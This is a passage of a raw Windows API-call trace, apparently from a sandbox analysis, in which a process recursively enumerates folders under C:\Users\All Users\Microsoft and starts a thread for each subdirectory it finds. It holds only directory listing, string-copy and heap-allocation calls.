| out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0072.757] wcscmp (_String1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", _String2=".") returned 1 [0072.757] wcscmp (_String1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", _String2="..") returned 1 [0072.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf798 [0072.757] wcscpy (in: _Dest=0x33cf798, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.757] wcscat (in: _Dest=0x33cf798, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.757] wcscat (in: _Dest=0x33cf798, _Source="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" [0072.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0072.757] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0072.757] wcscmp (_String1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", _String2=".") returned 1 [0072.757] wcscmp (_String1="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", _String2="..") returned 1 [0072.758] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf428 [0072.758] wcscpy (in: _Dest=0x33cf428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.758] wcscat (in: _Dest=0x33cf428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.758] wcscat (in: _Dest=0x33cf428, _Source="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}" [0072.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454 [0072.758] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0072.758] wcscmp (_String1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", _String2=".") returned 1 [0072.758] wcscmp (_String1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", _String2="..") returned 1 [0072.758] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf168 [0072.758] wcscpy (in: _Dest=0x33cf168, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.758] wcscat (in: _Dest=0x33cf168, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.758] wcscat (in: _Dest=0x33cf168, _Source="{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" [0072.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0072.759] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0072.759] wcscmp (_String1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", _String2=".") returned 1 [0072.759] wcscmp (_String1="{c8a326e4-f518-4f14-b543-97a57e1a975e}", _String2="..") returned 1 [0072.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf2c8 [0072.759] wcscpy (in: _Dest=0x33cf2c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.759] wcscat (in: _Dest=0x33cf2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.759] wcscat (in: _Dest=0x33cf2c8, _Source="{c8a326e4-f518-4f14-b543-97a57e1a975e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}" [0072.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0072.761] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0072.761] wcscmp (_String1="{ee4aac98-c174-4941-82b1-d121e493e4fb}", _String2=".") returned 1 [0072.761] wcscmp (_String1="{ee4aac98-c174-4941-82b1-d121e493e4fb}", _String2="..") returned 1 [0072.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf848 [0072.761] wcscpy (in: _Dest=0x33cf848, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.761] wcscat (in: _Dest=0x33cf848, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.761] wcscat (in: _Dest=0x33cf848, _Source="{ee4aac98-c174-4941-82b1-d121e493e4fb}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}" [0072.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf848, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0072.762] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0072.762] wcscmp (_String1="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", _String2=".") returned 1 [0072.762] wcscmp (_String1="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", _String2="..") returned 1 [0072.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf8f8 [0072.762] wcscpy (in: _Dest=0x33cf8f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.762] wcscat (in: _Dest=0x33cf8f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.762] wcscat (in: _Dest=0x33cf8f8, _Source="{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0072.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf8f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c [0072.763] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0072.763] wcscmp (_String1="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", _String2=".") returned 1 [0072.763] wcscmp (_String1="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", _String2="..") returned 1 [0072.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33cf378 [0072.763] wcscpy (in: _Dest=0x33cf378, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0072.763] wcscat (in: _Dest=0x33cf378, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0072.763] wcscat (in: _Dest=0x33cf378, _Source="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0072.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cf378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0072.764] FindNextFileW (in: hFindFile=0x3433d28, lpFindFileData=0x33f1508 | out: lpFindFileData=0x33f1508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0072.764] FindClose (in: hFindFile=0x3433d28 | out: hFindFile=0x3433d28) returned 1 [0072.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1508) returned 1 [0072.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ffa0) returned 1 [0072.765] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34801e0) returned 1 [0072.765] RtlExitUserThread (Status=0x0) Thread: id = 512 os_tid = 0x13c4 [0072.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430e38 [0072.310] wcscpy (in: _Dest=0x3430e38, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0072.310] wcscat (in: _Dest=0x3430e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0072.310] wcscat (in: _Dest=0x3430e38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\*" [0072.310] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1770 [0072.310] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x33f1770 | out: lpFindFileData=0x33f1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339e8 [0072.311] wcscmp (_String1=".", _String2=".") returned 0 [0072.311] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x33f1770 | out: lpFindFileData=0x33f1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.311] wcscmp (_String1="..", _String2=".") returned 1 [0072.311] wcscmp (_String1="..", _String2="..") returned 0 [0072.311] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x33f1770 | out: lpFindFileData=0x33f1770*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0072.311] wcscmp (_String1="Data", _String2=".") returned 1 [0072.311] wcscmp (_String1="Data", _String2="..") returned 1 [0072.311] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x347fb20 [0072.311] wcscpy (in: _Dest=0x347fb20, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0072.311] wcscat (in: _Dest=0x347fb20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0072.311] wcscat (in: _Dest=0x347fb20, _Source="Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0072.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347fb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0 [0072.835] FindNextFileW (in: hFindFile=0x34339e8, lpFindFileData=0x33f1770 | out: lpFindFileData=0x33f1770*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0072.835] FindClose (in: hFindFile=0x34339e8 | out: hFindFile=0x34339e8) returned 1 [0072.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1770) returned 1 [0072.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e38) returned 1 [0072.835] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341bd00) returned 1 [0072.835] RtlExitUserThread (Status=0x0) Thread: id = 513 os_tid = 0x13c8 [0072.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430e90 [0072.312] wcscpy (in: _Dest=0x3430e90, _Source="C:\\Users\\All Users\\Microsoft\\Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0072.312] wcscat (in: _Dest=0x3430e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\" [0072.312] wcscat (in: _Dest=0x3430e90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\*") returned="C:\\Users\\All Users\\Microsoft\\Settings\\*" [0072.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f19d8 [0072.312] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Settings\\*", lpFindFileData=0x33f19d8 | out: lpFindFileData=0x33f19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a28 [0072.313] wcscmp (_String1=".", _String2=".") returned 0 [0072.313] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x33f19d8 | out: lpFindFileData=0x33f19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.313] wcscmp (_String1="..", _String2=".") returned 1 [0072.313] wcscmp (_String1="..", _String2="..") returned 0 [0072.313] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x33f19d8 | out: lpFindFileData=0x33f19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 1 [0072.313] wcscmp (_String1="Accounts", _String2=".") returned 1 [0072.313] wcscmp (_String1="Accounts", _String2="..") returned 1 [0072.313] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426d28 [0072.313] wcscpy (in: _Dest=0x3426d28, _Source="C:\\Users\\All Users\\Microsoft\\Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0072.313] wcscat (in: _Dest=0x3426d28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\" [0072.313] wcscat (in: _Dest=0x3426d28, _Source="Accounts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" [0072.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x79c [0072.833] FindNextFileW (in: hFindFile=0x3433a28, lpFindFileData=0x33f19d8 | out: lpFindFileData=0x33f19d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 0 [0072.833] FindClose (in: hFindFile=0x3433a28 | out: hFindFile=0x3433a28) returned 1 [0072.833] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f19d8) returned 1 [0072.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430e90) returned 1 [0072.834] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d88) returned 1 [0072.834] RtlExitUserThread (Status=0x0) Thread: id = 514 os_tid = 0x13cc [0072.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3480000 [0072.314] wcscpy (in: _Dest=0x3480000, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter" [0072.314] wcscat (in: _Dest=0x3480000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\" [0072.314] wcscat (in: _Dest=0x3480000, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*" [0072.314] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f1c40 [0072.314] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*", lpFindFileData=0x33f1c40 | out: lpFindFileData=0x33f1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433a68 [0072.314] wcscmp (_String1=".", _String2=".") returned 0 [0072.314] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x33f1c40 | out: lpFindFileData=0x33f1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.314] wcscmp (_String1="..", _String2=".") returned 1 [0072.314] wcscmp (_String1="..", _String2="..") returned 0 [0072.314] FindNextFileW (in: hFindFile=0x3433a68, lpFindFileData=0x33f1c40 | out: lpFindFileData=0x33f1c40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageStore", cAlternateFileName="MESSAG~1")) returned 1 [0072.314] wcscmp (_String1="MessageStore", _String2=".") returned 1 [0072.314] wcscmp (_String1="MessageStore", _String2="..") returned 1 [0072.315] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347db60 [0072.315] wcscpy (in: _Dest=0x347db60, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter" [0072.315] wcscat (in: _Dest=0x347db60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\" [0072.315] wcscat (in: _Dest=0x347db60, _Source="MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0072.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347db60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0072.831] FindNextFileW (in: hFindFile=0x3433a68, 